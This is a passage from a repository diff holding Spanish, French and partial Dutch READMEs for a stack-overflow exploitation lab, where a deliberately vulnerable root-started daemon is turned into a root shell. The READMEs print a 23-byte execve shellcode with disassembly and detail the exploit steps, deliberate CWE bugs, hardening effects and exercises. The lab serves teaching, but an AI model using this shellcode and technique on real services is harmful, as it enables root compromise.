foowosd.c den sårbare root-daemon (hver linje kommenteret)
foowosc.c exploitet (hver linje kommenteret)
shellcode.S reference-assembly for 23-byte-payloaden
tests/pty_wosuid_test.c pty-harnessen (markør + strenge id-form-tjek)
Makefile build / run / run-root / run-root-ns / test /
test-root / verify / hardened / clean …
```
Søster-laboratorier: `../food.c`/`../fooc.c` (user-level-baseline, port 2342)
og `../suid/` (SUID-root-daemon `foosd`/`foosc`, port 2343). Portene er bevidst
forskellige — du kan køre alle tre på én gang og krydstjekke deres `ids=`-linjer
i banneret.

318
wosuid/README.ES.md Normal file
View file

@ -0,0 +1,318 @@
# El laboratorio `wosuid` — RCE root **sin** bit setuid
```
foowosd un demonio deliberadamente vulnerable que es root porque fue
*INICIADO* como root (puerto 2344, solo loopback por defecto)
foowosc el exploit: convierte un desbordamiento de pila en un **shell**
root ejecutando shellcode — los mismos 23 bytes que rompieron el
demonio user-level `food` del laboratorio principal
```
Este es el tercer laboratorio de la serie. La misma cadena de herramientas de
exploit, el mismo estilo, una diferencia fundamental:
| Laboratorio | cómo el proceso objetivo se vuelve root | ¿shell `uid=0(root)`? |
|----------|------------------------------------------------|----------------------|
| food/fooc | nunca — es un demonio de usuario normal | no |
| foosd/foosc | el bit SUID (`chmod u+s`) — euid 0, ruid 1000 | sí (exige `setreuid` en el shellcode, porque bash resetea euid→ruid) |
| **foowosd/foowosc** | **ninguno — root *inicia* el demonio** (sudo / systemd `User=root`) | **sí (shellcode `execve` normal)** |
El bit setuid es un *medio de transporte* de privilegios — no los privilegios
mismos. Un demonio iniciado por root tiene uids real, efectivo y guardado todos
iguales a 0. Para el kernel es root, punto; no puede ni quiere saber si el
proceso llegó ahí vía `+s` en un archivo o vía `sudo ./foowosd`. El
desbordamiento de un demonio iniciado por root es por tanto un exploit root —
*"no tengo binarios SUID" no es lo mismo que "no soy explotable".*
Esa es toda la lección de este laboratorio. Todo lo demás es el mecanismo.
---
## Inicio rápido (lo que pidió el usuario)
```
cd wosuid
make # compila el demonio, el exploit y el harness de prueba
```
### Lo auténtico — ejecuta el demonio como **root**
```
sudo make run-root # inicia foowosd como uid 0 (proceso, no estado de archivo)
make test-root # cada técnica debe dar ahora uid=0(root)
```
### ¿Sin sudo? El camino de kernel idéntico vía un user namespace
```
make run-root-ns # uid 0 en un user namespace — no se necesita contraseña
make test-root # los mismos veredictos; lo usa la CI y todo el que no tenga sudo
```
### Referencia — demonio como tu usuario normal (root en ninguna parte)
```
make run # foowosd corre con tus uids
make test # los exploits aterrizan shells, pero se espera que `root` sea MISSING
```
### Rito de limpieza (siempre: esto es un laboratorio de shell root)
```
make stop
```
`foowosd` *no* es setuid, y nada en este directorio hace nunca `chmod +s` —
ese es el punto. El estado peligroso es **el proceso**, no el archivo.
---
## Cuando te digan que pongas el bit SUID
No te lo van **a** decir. Este laboratorio no tiene deliberadamente ningún bit
SUID:
- `foowosd` se compila, te pertenece y tiene permisos normales como cualquier
otro programa.
- Se vuelve root como hacen los demonios reales — siendo *iniciado* por root.
- `make run-root` usa `sudo` para exactamente eso, y `make run-root-ns`
consigue un proceso uid 0 real sin nada de eso.
El bit Suid pertenece al laboratorio *hermano* (`foosd`). El contraste entre los
dos es el plan de estudios:
1. Laboratorio SUID: el bit da **euid 0, pero ruid 1000** → `execve("/bin/sh")`
es degradado por el guardián de bash (`euid != ruid` → reset) → el shellcode
debe llamar primero a `setreuid(0,0)` (payload de 32 bytes).
2. Este laboratorio: root **inicia** el proceso → **ruid == euid == 0** → el
guardián no tiene nada que resetear → el shellcode `execve` normal de 23
bytes conserva root.
El mismo desbordamiento. La misma técnica. *Origen* de privilegios diferente,
forma de payload distinta. Esa es la lección en miniatura.
---
## El protocolo
Sea cual sea el tipo de cliente que se conecta, foowosd lo saluda con:
```
FOOWOSD 1.0 ids=0/0 leak stack=0x7ffd… libc=0x7f… (el banner + las fugas)
BUF=0x7ffd… (la dirección del búfer)
```
`ids=euid/ruid` es el canal *"¿soy root?"*. foowosc imprime una advertencia
fuerte cuando euid no es 0 (es decir, iniciaste el demonio como usuario
normal): el payload sigue aterrizando, pero el shell se convierte en un shell
de usuario, y llamar al exploit "roto" sería falso — solo que no escala.
> Nota ortográfica: `ids=`, no `euid=`/`ruid=`. El harness de prueba prueba un
> `id` vivo haciendo match de la forma literal `uid=NNN(`, así que el banner
> nunca debe contener una subcadena que satisfaga ella misma la comprobación.
> (En el laboratorio SUID, exactamente esa trampa produjo un falso positivo
> espectacular.)
---
## Las técnicas de exploit (`foowosc -t …`)
Las cuatro rutas de exploit de abajo funcionan contra foowosd. Cuando el demonio
es root, **todo lo que hace spawn de algo da root** — a diferencia del
laboratorio SUID, donde ret2win/ret2libc eran degradados silenciosamente a uid
1000 por el guardián de bash. Aquí no hay desajuste que vigilar.
| `-t` | qué ocurre | cuando el demonio es root |
|---------------|---------------------------------------------------------------------|---------------------|
| `shellcode` | `execve("/bin/sh", NULL, NULL)` de 23 bytes corre en la pila. | **shell root** (por defecto) |
| `ret2win` | salto a `win()` → `execl("/bin/sh")` | **shell root** |
| `ret2libc` | ROP: `pop rdi; ret` → `"/bin/sh"` → `system()` | **shell root** |
| `demo` | solo desbordamiento de basura — espera un SIGSEGV en el log del demonio | crash, por diseño |
| `leak` | solo imprime fugas, no envía payload | n/a |
```
./foowosc -t shellcode # interactivo; objetivo por defecto 127.0.0.1:2344
./foowosc -t shellcode -n # enviar y reportar, sin sesión interactiva
```
Una sesión interactiva exitosa retransmite tu terminal al shell *en la víctima*
— hay exactamente un shell en el cuadro, y es `/bin/sh` corriendo como root
dentro de foowosd. Escribe `id` para ver `uid=0(root)`.
### Por qué no hay una técnica `ret2win-root` aquí
foosc tenía una — saltaba a un `win_root()` que llamaba a `setreuid(0,0)`
antes del exec, porque un proceso setuid corría con un uid real que todavía
decía 1000. Un proceso *iniciado* por root ya tiene el uid real en 0; no hay
nada que limpiar, así que la función y la técnica extra no enseñarían nada.
Eliminada.
---
## Qué hace foowosc, paso a paso
1. **Análisis estático** — `objdump -d` de `./foowosd`. Encuentra
`vulnerable_handler`, `win()`, el `lea -0x50(%rbp)` que direcciona `buf`, y
el primer `ret` desnudo. A partir del desplazamiento calcula
`rip_off = 80 + 8 = 88`. Nada está hardcodeado; sobrevive a una
recompilación.
2. **Auto-introspección** — lee su propio `/proc/self/maps` y hace `dlsym()` de
`system`/`read` para aprender los *offsets* de libc. La base libc del
objetivo es `leaked_read − off_read`, luego `system = base + off_system`,
etc. Esa aritmética de delta es la razón por la que los exploits sobreviven
a las versiones de libc.
3. **Conecta** — lee el banner/las fugas (`ids=`, `stack=`, `libc=`, `BUF=`).
4. **Construye el payload** — para `shellcode`: 23 bytes de código máquina,
basura hasta `rip_off`, luego la RIP guardada = `buf` (para que el `ret`
salte dentro del código). Para `ret2win`/`ret2libc`: direcciones calculadas
del análisis — no se necesita ejecución de pila.
5. **El fix de alineación** — un `ret` desnudo secuestrado da a la callee
`rsp ≡ 8 (mod 16)`, y el código SSE2 de glibc falla con `movaps` en una pila
mal alineada (el crash-reporter registra `si_addr=(nil)` — la pista).
foowosc inserta un gadget `ret` extra antes del objetivo real y restaura la
invariante. Una técnica de guante de seda en un laboratorio de shellcode,
pero es la diferencia entre un payload que "a veces funciona" y uno que
siempre funciona.
6. **Envía, luego retransmite** — el proceso víctima *es* el shell; este
proceso solo splissea bytes. Sin shell local, sin otro lector — el bug del
cursor de lectura único (un byte comido por trozo) está documentado en
`become_shell()`.
---
## Los errores deliberados del demonio (todos en `foowosd.c`, todas clases CWE reales)
| # | error | CWE | nota |
|---|-----|-----|------|
| 1 | `read(fd, buf, 512)` en un búfer de pila de 64 bytes | CWE-120 | el desbordamiento: 448 bytes más allá de `buf`, RIP guardada en +88 |
| 2 | solo `snprintf(line, …, "%.*s", …)`; pero `%` del atacante en el camino de eco | CWE-134 | la fuga es aquí el payload real; un `%n` en un proceso *root* sería write-what-where como root |
| 3 | los hijos conservan root mientras manejan entradas no confiables | CWE-271 | el `drop_privs()` correcto (setgroups→setgid→setuid, en ese orden, con verificación) está en el archivo, comentado, *deliberadamente nunca llamado* |
| 4 | `ids=`, `stack=`, `libc=`, `BUF=` revelados a cualquier cliente | CWE-200 | sin estas fugas, las técnicas de shellcode y ret2libc no podrían calcular direcciones (ASLR las vencería) |
El handler tiene exactamente la misma forma `buf[64]`/`read(512)` que los otros
dos laboratorios, así que el pipeline común de reconocimiento basado en objdump
funciona sin cambios.
---
## Cómo inspeccionar el demonio (camino de aprendizaje)
```
make status # ¿corre? ¿como qué uid? se muestra el estado del archivo
make run-root # o run / run-root-ns
./foowosc -t leak # mira el banner y las fugas, no envíes nada
./foowosc -t demo # desbordamiento de basura -> SIGSEGV, registrado con RIP/rsp
./foowosc -t shellcode # el shell root interactivo
make test-root # matriz completa, todas las técnicas, --must-root
```
Crash-reporter: En SIGSEGV, el demonio registra la dirección de error, RIP y
RSP. Un `ret` dentro de un `0x4141…` no canónico falla en el `ret` mismo (RIP
como `0x4028xx`, `si_addr=(nil)`) — bueno saberlo antes de leer mal una línea
de log como desreferencia NULL.
---
## Por qué el shellcode es de 23 bytes, no de 32
```
31 f6 xor esi, esi ; argv = NULL
31 d2 xor edx, edx ; envp = NULL
48 bf 2f62696e2f736800 movabs rdi, "/bin/sh\0"
57 push rdi
48 89 e7 mov rdi, rsp
6a 3b push 0x3b ; 59 = execve
58 pop rax
0f 05 syscall
```
El laboratorio SUID necesita `setreuid(0,0)` delante de esto. Este laboratorio
no, por la razón repetida en todas partes: **ruid ya es 0**, porque root inició
el proceso. `make verify` prueba que los bytes en `foowosc.c` son, byte a byte,
lo que `shellcode.S` ensambla.
---
## Mitigaciones — qué cambia `make hardened`
Build endurecida (`-fstack-protector-strong -fPIE -pie -z noexecstack`):
| técnica | `foowosd` vulnerable | `foowosd_hardened` endurecido |
|-----------|----------------------|------------------------------|
| `shellcode` | shell root (pila ejecutable) | SIGSEGV en la comprobación de canary / NX |
| `ret2win` / `ret2libc` | shell root | la canary aborta el `ret` — pero nota: una build *PIE* también vuelve aleatorias estas direcciones |
| `demo` | SIGSEGV, registrado | SIGSEGV, registrado |
`make test-hardened` lo demuestra en vivo. La observación importante no es solo
que las mitigaciones mataron las técnicas — es que **no** convirtieron al
demonio en "no-root". Una build endurecida que todavía se *inicia* como root
sigue siendo un demonio root; la mitigación solo sube el listón para el
atacante. Mínimo privilegio (`drop_privs()`) y seguridad de memoria son dos
errores distintos, y un demonio que no necesita root no debería tenerlo.
---
## Barandillas de seguridad (la misma política que el laboratorio SUID)
- **Solo loopback.** foowosd se niega a enlazarse a nada que no sea `127.0.0.1`
/ `localhost` / `::1`, salvo que des `-L`. Un demonio root en una interfaz
real es un *servicio root remoto*. `-L` existe solo para mostrar la
barandilla; no lo uses en algo que importe.
- **El estado se registra en voz alta.** Al arrancar imprime `ruid/euid` y si
esto es un proceso root, para que siempre sepas qué resultado de exploit
esperar.
- **Los veredictos vienen del código de salida** en `make test*` (el código de
retorno del harness pty), nunca de hacer grep de su stdout — la salida
grepable miente.
- **La pty debe correr en cooked + ECHO off**, si no, el harness ecoa su propia
línea de comandos y falsifica el marcador. El harness apaga ECHO y mantiene
ECHONL activo.
- **Rito de limpieza:** `make stop` después de cada sesión. Si el demonio es
propiedad de root, `stop` te dice que ejecutes `sudo pkill -x foowosd`.
- Nunca ejecutes esto en un host que te importe. Existe para repartir shells
`uid=0` por la interfaz loopback.
---
## Ejercicios
1. Ejecuta `make run` (demonio de usuario), luego `./foowosc -t shellcode`.
¿Por qué el shell no es root? (Comprueba `ids=` en el banner — foowosc te
lo dice antes de que siquiera te conectes.)
2. `make stop && sudo make run-root && make test-root`. Explica a partir de la
línea del banner por qué las cuatro técnicas dan ahora `uid=0(root)`.
3. Encuentra `drop_privs()` en `foowosd.c` y lee *por qué el orden* de
`setgroups → setgid → setuid` importa. Decide dónde en `main()` encajaría, y
qué se vuelve la superficie de ataque del laboratorio cuando de verdad se
llama.
4. Calcula `rip_off` a mano desde `objdump -d foowosd`: encuentra el
`lea -0xNN(%rbp)` de `buf` dentro de `vulnerable_handler`, luego `NN + 8`.
foowosc hace exactamente eso; comprueba su cálculo contra el tuyo.
5. `make hardened && make test-hardened`. ¿Qué técnica cae ante la canary, y
cuál ante NX? ¿Por qué el endurecimiento no cambia lo que `make status`
reporta sobre *el proceso*?
6. Compara los shellcodes de los dos laboratorios: 23 bytes aquí, 32 para
foosd. ¿Qué hacen los 9 bytes extra, y por qué solo se necesitan en el caso
SUID?
7. Lee el comentario de `become_shell()` sobre el cursor de lectura único.
Reconstruye mentalmente el estado de fallo: dos lectores en un socket
significa que el shell de login come un byte por trozo — "uid=1000…" llega
como "id=1000…". ¿Por qué un proceso relay no puede tener nunca este error?
---
## Archivos
```
foowosd.c el demonio root vulnerable (cada línea comentada)
foowosc.c el exploit (cada línea comentada)
shellcode.S el assembly de referencia para el payload de 23 bytes
tests/pty_wosuid_test.c el harness pty (marcador + comprobación estricta de forma id)
Makefile build / run / run-root / run-root-ns / test /
test-root / verify / hardened / clean …
```
Laboratorios hermanos: `../food.c`/`../fooc.c` (referencia user-level, puerto
2342) y `../suid/` (demonio root SUID `foosd`/`foosc`, puerto 2343). Los
puertos son deliberadamente distintos — puedes ejecutar los tres a la vez y
cruzar sus líneas `ids=` en el banner.

322
wosuid/README.FR.md Normal file
View file

@ -0,0 +1,322 @@
# Le lab `wosuid` — RCE root **sans** bit setuid
```
foowosd un démon volontairement vulnérable qui est root parce qu'il a été
*DÉMARRÉ* en tant que root (port 2344, loopback seulement par défaut)
foowosc l'exploit : transforme un débordement de pile en un **shell** root
en exécutant de la shellcode — les mêmes 23 octets qui ont cassé le
démon user-level `food` du lab principal
```
C'est le troisième lab de la série. Même chaîne d'outils d'exploit, même style,
une différence fondamentale :
| Lab | comment le processus cible devient root | shell `uid=0(root)` ? |
|----------|------------------------------------------------|----------------------|
| food/fooc | jamais — c'est un démon utilisateur ordinaire | non |
| foosd/foosc | le bit SUID (`chmod u+s`) — euid 0, ruid 1000 | oui (exige `setreuid` dans la shellcode, car bash réinitialise euid→ruid) |
| **foowosd/foowosc** | **aucun — root *démarre* le démon** (sudo / systemd `User=root`) | **oui (shellcode `execve` ordinaire)** |
Le bit setuid est un *moyen de transport* des privilèges — pas les privilèges
eux-mêmes. Un démon démarré par root a des uids réel, effectif et sauvegardé
tous égaux à 0. Pour le noyau, c'est root, point final ; il ne peut pas et ne
veut pas savoir si le processus y est arrivé via `+s` sur un fichier ou via
`sudo ./foowosd`. Le débordement d'un démon démarré par root est donc un exploit
root — *« je n'ai pas de binaires SUID » n'est pas la même chose que « je ne
suis pas exploitable ».*
C'est toute la leçon de ce lab. Tout ce qui suit, c'est le mécanisme.
---
## Démarrage rapide (ce que l'utilisateur a demandé)
```
cd wosuid
make # compile le démon, l'exploit et la harnesse de test
```
### Le vrai truc — exécutez le démon en tant que **root**
```
sudo make run-root # démarre foowosd en uid 0 (processus, pas état de fichier)
make test-root # chaque technique doit maintenant donner uid=0(root)
```
### Pas de sudo ? Le chemin noyau identique via un user namespace
```
make run-root-ns # uid 0 dans un user namespace — aucun mot de passe requis
make test-root # mêmes verdicts ; utilisé par la CI et tous ceux sans sudo
```
### Référence — démon comme votre utilisateur normal (root nulle part)
```
make run # foowosd tourne avec vos uids
make test # les exploits atterrissent des shells, mais `root` est attendu MISSING
```
### Rituel de nettoyage (toujours : c'est un lab de shell root)
```
make stop
```
`foowosd` n'est *pas* setuid, et rien dans ce répertoire ne fait jamais
`chmod +s` — c'est le but. L'état dangereux est **le processus**, pas le
fichier.
---
## Quand on vous dit de poser le bit SUID
Ça ne vous sera **pas** demandé. Ce lab n'a délibérément pas de bit SUID :
- `foowosd` est compilé, vous appartient et a des permissions ordinaires comme
n'importe quel programme.
- Il devient root comme les vrais démons — en étant *démarré* par root.
- `make run-root` utilise `sudo` pour exactement ça, et `make run-root-ns`
obtient un vrai processus uid 0 sans rien de tout cela.
Le bit Suid appartient au lab *frère* (`foosd`). Le contraste entre les deux
est le programme :
1. Lab SUID : le bit donne **euid 0, mais ruid 1000** → `execve("/bin/sh")`
est dégradé par le gardien de bash (`euid != ruid` → reset) → la shellcode
doit d'abord appeler `setreuid(0,0)` (payload de 32 octets).
2. Ce lab : root **démarre** le processus → **ruid == euid == 0** → le
gardien n'a rien à réinitialiser → la shellcode `execve` ordinaire de 23
octets garde root.
Même débordement. Même technique. *Origine* des privilèges différente, forme de
payload différente. C'est la leçon en miniature.
---
## Le protocole
Quel que soit le type de client qui se connecte, foowosd le salue avec :
```
FOOWOSD 1.0 ids=0/0 leak stack=0x7ffd… libc=0x7f… (le banner + les fuites)
BUF=0x7ffd… (l'adresse du tampon)
```
`ids=euid/ruid` est le canal *« suis-je root ? »*. foowosc affiche un
avertissement sonore quand euid n'est pas 0 (c'est-à-dire que vous avez démarré
le démon en utilisateur ordinaire) : la payload atterrit quand même, mais le
shell devient un shell utilisateur, et appeler l'exploit « cassé » serait faux —
il n'escalade juste pas.
> Note d'orthographe : `ids=`, pas `euid=`/`ruid=`. La harnesse de test prouve
> un `id` vivant en matchant la forme littérale `uid=NNN(`, donc le banner ne
> doit jamais contenir une sous-chaîne qui satisfait elle-même le contrôle.
> (Dans le lab SUID, exactement ce piège a produit un spectaculaire faux
> positif.)
---
## Les techniques d'exploit (`foowosc -t …`)
Les quatre chemins d'exploit ci-dessous fonctionnent contre foowosd. Quand le
démon est root, **tout ce qui spawn quelque chose donne root** — contrairement
au lab SUID où ret2win/ret2libc étaient silencieusement dégradés en uid 1000
par le gardien de bash. Ici, il n'y a pas de mismatch à surveiller.
| `-t` | ce qui se passe | quand le démon est root |
|---------------|---------------------------------------------------------------------|---------------------|
| `shellcode` | `execve("/bin/sh", NULL, NULL)` de 23 octets s'exécute sur la pile. | **shell root** (par défaut) |
| `ret2win` | saut vers `win()` → `execl("/bin/sh")` | **shell root** |
| `ret2libc` | ROP : `pop rdi; ret` → `"/bin/sh"` → `system()` | **shell root** |
| `demo` | débordement de bourrage uniquement — attendez un SIGSEGV dans le log | crash, par conception |
| `leak` | affiche juste les fuites, n'envoie pas de payload | n/a |
```
./foowosc -t shellcode # interactif ; cible par défaut 127.0.0.1:2344
./foowosc -t shellcode -n # envoyer et rapporter, pas de session interactive
```
Une session interactive réussie relaie votre terminal vers le shell *sur la
victime* — il y a exactement un shell dans le tableau, et c'est `/bin/sh` qui
tourne en root à l'intérieur de foowosd. Tapez `id` pour voir `uid=0(root)`.
### Pourquoi il n'y a pas de technique `ret2win-root` ici
foosc en avait une — elle sautait vers un `win_root()` qui appelait
`setreuid(0,0)` avant l'exec, parce qu'un processus setuid tournait avec un uid
réel qui disait encore 1000. Un processus *démarré* par root a déjà l'uid réel
à 0 ; il n'y a rien à nettoyer, donc la fonction et la technique supplémentaires
n'auraient rien appris. Supprimé.
---
## Ce que fait foowosc, étape par étape
1. **Analyse statique** — `objdump -d` de `./foowosd`. Trouve
`vulnerable_handler`, `win()`, le `lea -0x50(%rbp)` qui adresse `buf`, et le
premier `ret` nu. À partir du décalage, il calcule `rip_off = 80 + 8 = 88`.
Rien n'est hardcodé ; ça survit à une recompilation.
2. **Auto-introspection** — lit son propre `/proc/self/maps` et `dlsym()`e
`system`/`read` pour apprendre les *offsets* de la libc. La base libc de la
cible est `leaked_read − off_read`, puis `system = base + off_system`, etc.
Cette arithmétique de delta est la raison pour laquelle les exploits
survivent aux versions de libc.
3. **Connecte** — lit le banner/les fuites (`ids=`, `stack=`, `libc=`, `BUF=`).
4. **Construit la payload** — pour `shellcode` : 23 octets de code machine, du
bourrage jusqu'à `rip_off`, puis la RIP sauvegardée = `buf` (pour que le
`ret` saute dans le code). Pour `ret2win`/`ret2libc` : des adresses
calculées depuis l'analyse — aucune exécution de pile nécessaire.
5. **Le correctif d'alignement** — un `ret` nu détourné donne au callee
`rsp ≡ 8 (mod 16)`, et le code SSE2 de glibc fault en `movaps` sur une pile
mal alignée (le crash-reporter journalise `si_addr=(nil)` — l'indice).
foowosc insère un gadget `ret` supplémentaire avant la vraie cible et
rétablit l'invariant. Une technique de gants de soie dans un lab de
shellcode, mais c'est la différence entre une payload qui « marche parfois »
et une qui marche toujours.
6. **Envoie, puis relaie** — le processus victime *est* le shell ; ce processus
ne fait que splisser des octets. Pas de shell local, pas d'autre lecteur —
le bug à curseur de lecture unique (un octet mangé par morceau) est
documenté dans `become_shell()`.
---
## Les bugs délibérés du démon (tous dans `foowosd.c`, toutes de vraies classes CWE)
| # | bug | CWE | note |
|---|-----|-----|------|
| 1 | `read(fd, buf, 512)` dans un tampon de pile de 64 octets | CWE-120 | le débordement : 448 octets au-delà de `buf`, RIP sauvegardée à +88 |
| 2 | seulement `snprintf(line, …, "%.*s", …)` ; mais `%` de l'attaquant dans le chemin d'echo | CWE-134 | la fuite est ici la vraie payload ; un `%n` dans un processus *root* serait un write-what-where en root |
| 3 | les enfants gardent root en traitant des entrées non fiables | CWE-271 | le `drop_privs()` correct (setgroups→setgid→setuid, dans cet ordre, avec vérification) est dans le fichier, commenté, *délibérément jamais appelé* |
| 4 | `ids=`, `stack=`, `libc=`, `BUF=` révélés à n'importe quel client | CWE-200 | sans ces fuites, les techniques shellcode et ret2libc ne pourraient pas calculer d'adresses (ASLR les vaincrait) |
Le handler a exactement la même forme `buf[64]`/`read(512)` que les deux autres
labs, donc le pipeline commun de reconnaissance par objdump fonctionne sans
changement.
---
## Comment inspecter le démon (parcours d'apprentissage)
```
make status # tourne-t-il ? en quel uid ? l'état du fichier est montré
make run-root # ou run / run-root-ns
./foowosc -t leak # voyez le banner et les fuites, n'envoyez rien
./foowosc -t demo # débordement de bourrage -> SIGSEGV, journalisé avec RIP/rsp
./foowosc -t shellcode # le shell root interactif
make test-root # matrice complète, toutes les techniques, --must-root
```
Crash-reporter : Au SIGSEGV, le démon journalise l'adresse d'erreur, RIP et
RSP. Un `ret` dans un `0x4141…` non canonique fault sur le `ret` lui-même (RIP
comme `0x4028xx`, `si_addr=(nil)`) — bon à savoir avant de lire une ligne de log
comme une déréférence NULL.
---
## Pourquoi la shellcode fait 23 octets, pas 32
```
31 f6 xor esi, esi ; argv = NULL
31 d2 xor edx, edx ; envp = NULL
48 bf 2f62696e2f736800 movabs rdi, "/bin/sh\0"
57 push rdi
48 89 e7 mov rdi, rsp
6a 3b push 0x3b ; 59 = execve
58 pop rax
0f 05 syscall
```
Le lab SUID a besoin de `setreuid(0,0)` devant ça. Pas ce lab, pour la raison
répétée partout : **ruid est déjà 0**, parce que root a démarré le processus.
`make verify` prouve que les octets dans `foowosc.c` sont, octet pour octet, ce
que `shellcode.S` assemble.
---
## Contre-mesures — ce que `make hardened` change
Build durcie (`-fstack-protector-strong -fPIE -pie -z noexecstack`) :
| technique | `foowosd` vulnérable | `foowosd_hardened` durci |
|-----------|----------------------|------------------------------|
| `shellcode` | shell root (pile exécutable) | SIGSEGV au contrôle de canary / NX |
| `ret2win` / `ret2libc` | shell root | la canary abort le `ret` — mais notez : une build *PIE* rend aussi ces adresses aléatoires |
| `demo` | SIGSEGV, journalisé | SIGSEGV, journalisé |
`make test-hardened` le démontre en direct. L'observation importante n'est pas
seulement que les contre-mesures ont tué les techniques — c'est qu'elles n'ont
**pas** rendu le démon « non-root ». Une build durcie qui est toujours
*démarrée* en root reste un démon root ; la contre-mesure ne fait que relever la
barre pour l'attaquant. Moindre privilège (`drop_privs()`) et sécurité mémoire
sont deux bugs différents, et un démon qui n'a pas besoin de root ne devrait pas
en avoir.
---
## Garde-fous (même politique que le lab SUID)
- **Loopback seulement.** foowosd refuse de se lier ailleurs qu'à `127.0.0.1` /
`localhost` / `::1`, sauf si vous donnez `-L`. Un démon root sur une vraie
interface est un *service root distant*. `-L` existe seulement pour montrer
le garde-fou ; ne l'utilisez pas sur quelque chose qui compte.
- **L'état est journalisé à voix haute.** Au démarrage, il affiche `ruid/euid`
et si c'est un processus root, pour que vous sachiez toujours quel résultat
d'exploit attendre.
- **Les verdicts viennent du code de sortie** dans `make test*` (code retour
de la harnesse pty), jamais d'un grep sur sa sortie — la sortie grepable
ment.
- **Le pty doit tourner en cooked + ECHO off**, sinon la harnesse s'échoit sa
propre ligne de commande et falsifie le marqueur. La harnesse désactive ECHO
et garde ECHONL actif.
- **Rituel de nettoyage :** `make stop` après chaque session. Si le démon
appartient à root, `stop` vous dit de lancer `sudo pkill -x foowosd`.
- Ne faites jamais tourner ça sur une machine à laquelle vous tenez. Ça existe
pour distribuer des shells `uid=0` sur l'interface loopback.
---
## Exercices
1. Lancez `make run` (démon utilisateur), puis `./foowosc -t shellcode`.
Pourquoi le shell n'est-il pas root ? (Vérifiez `ids=` dans le banner —
foowosc vous le dit avant même que vous vous connectiez.)
2. `make stop && sudo make run-root && make test-root`. Expliquez à partir de
la ligne du banner pourquoi les quatre techniques donnent maintenant
`uid=0(root)`.
3. Trouvez `drop_privs()` dans `foowosd.c` et lisez *pourquoi l'ordre* de
`setgroups → setgid → setuid` compte. Décidez où dans `main()` il aurait sa
place, et ce que devient la surface d'attaque du lab quand il est
réellement appelé.
4. Calculez `rip_off` à la main depuis `objdump -d foowosd` : trouvez le
`lea -0xNN(%rbp)` de `buf` dans `vulnerable_handler`, puis `NN + 8`. foowosc
fait exactement ça ; vérifiez son calcul contre le vôtre.
5. `make hardened && make test-hardened`. Quelle technique tombe sur la canary,
et laquelle sur NX ? Pourquoi le durcissement ne change-t-il pas ce que
`make status` rapporte sur *le processus* ?
6. Comparez les shellcodes des deux labs : 23 octets ici, 32 pour foosd. Que
font les 9 octets supplémentaires, et pourquoi ne sont-ils nécessaires que
dans le cas SUID ?
7. Lisez le commentaire de `become_shell()` sur la curseur de lecture unique.
Reconstruisez mentalement l'état d'échec : deux lecteurs sur une socket,
c'est le shell de connexion qui mange un octet par morceau — « uid=1000… »
arrive comme « id=1000… ». Pourquoi un processus relay ne peut-il jamais
avoir ce bug ?
---
## Fichiers
```
foowosd.c le démon root vulnérable (chaque ligne commentée)
foowosc.c l'exploit (chaque ligne commentée)
shellcode.S l'assembleur de référence pour la payload de 23 octets
tests/pty_wosuid_test.c la harnesse pty (marqueur + contrôle strict de forme id)
Makefile build / run / run-root / run-root-ns / test /
test-root / verify / hardened / clean …
```
Labs frères : `../food.c`/`../fooc.c` (baseline user-level, port 2342) et
`../suid/` (démon root SUID `foosd`/`foosc`, port 2343). Les ports sont
délibérément différents — vous pouvez faire tourner les trois en même temps et
croiser leurs lignes `ids=` dans le banner.

311
wosuid/README.NL.md Normal file
View file

@ -0,0 +1,311 @@
# Het `wosuid`-lab — root-RCE **zonder** setuid-bit
```
foowosd een bewust kwetsbare daemon die root is omdat hij als *GESTART* als
root (poort 2344, standaard alleen loopback)
foowosc het exploit: verandert een stack-overloop in een **root**-shell door
shellcode uit te voeren — dezelfde 23 bytes die de user-level-
`food`-daemon in het hoofdlab kraakten
```
Dit is het derde lab in de serie. Dezelfde exploit-werktuigketen, dezelfde stijl,
één fundamenteel verschil:
| Lab | hoe het doelproces root wordt | `uid=0(root)`-shell? |
|----------|------------------------------------------------|----------------------|
| food/fooc | nooit — het is een gewone user-daemon | nee |
| foosd/foosc | de SUID-bit (`chmod u+s`) — euid 0, ruid 1000 | ja (vereist `setreuid` in de shellcode, want bash reset euid→ruid) |
| **foowosd/foowosc** | **geen — root *start* de daemon** (sudo / systemd `User=root`) | **ja (gewone `execve`-shellcode)** |
De setuid-bit is een *transportmiddel* voor privileges — niet de privileges
zelf. Een daemon die door root is gestart, heeft reële, effectieve en
opgeslagen uid allemaal 0. Voor de kernel is dat root, punt uit; hij kan en wil
niet weten of het proces daar via `+s` op een bestand of via `sudo ./foowosd`
is gekomen. De overloop in een root-gestarte daemon is dus een root-exploit — *"ik
heb geen SUID-binaries" is niet hetzelfde als "ik ben niet exploiteerbaar".*
Dat is de hele les van dit lab. Al het andere hieronder is het mechanisme.
---
## Snelle start (wat de gebruiker vroeg)
```
cd wosuid
make # bouwt de daemon, het exploit en de test-harness
```
### Het echte werk — draai de daemon als **root**
```
sudo make run-root # start foowosd als uid 0 (proces, geen bestandstoestand)
make test-root # elke techniek moet nu uid=0(root) geven
```
### Geen sudo? Het identieke kernelpad via een user-namespace
```
make run-root-ns # uid 0 in een user-namespace — geen wachtwoord nodig
make test-root # dezelfde oordelen; gebruikt door CI en iedereen zonder sudo
```
### Baseline — daemon als je normale gebruiker (nergens root)
```
make run # foowosd draait met jouw uids
make test # exploits landen shells, maar `root` wordt verwacht als MISSING
```
### Opruimritueel (altijd: dit is een root-shell-lab)
```
make stop
```
`foowosd` is *niet* setuid, en niets in deze map doet ooit `chmod +s` — dat is
het punt. De gevaarlijke toestand is **het proces**, niet het bestand.
---
## Wanneer je wordt gezegd de SUID-bit te zetten
Dat zul je **niet** worden. Dit lab heeft bewust geen SUID-bit:
- `foowosd` wordt gebouwd, is eigendom van jou en heeft gewone toestanden als
elk ander programma.
- Hij wordt root zoals echte daemons dat doen — door *gestart* te worden door
root.
- `make run-root` gebruikt `sudo` voor precies dat, en `make run-root-ns`
regelt een echte uid-0-proces zonder ook maar iets daarvan.
De Suid-bit hoort bij het *zuster*-lab (`foosd`). Het contrast tussen de twee
is de leerstof:
1. SUID-lab: de bit geeft **euid 0, maar ruid 1000** → `execve("/bin/sh")`
wordt gedegradeerd door de wacht van bash (`euid != ruid` → reset) → de
shellcode moet eerst `setreuid(0,0)` aanroepen (32-byte-payload).
2. Dit lab: root **start** het proces → **ruid == euid == 0** → de wacht heeft
niets om te resetten → de gewone 23-byte `execve`-shellcode houdt root.
Dezelfde overloop. Dezelfde techniek. Andere *oorsprong* van privileges, andere
payload-vorm. Dat is de les in het klein.
---
## Het protocol
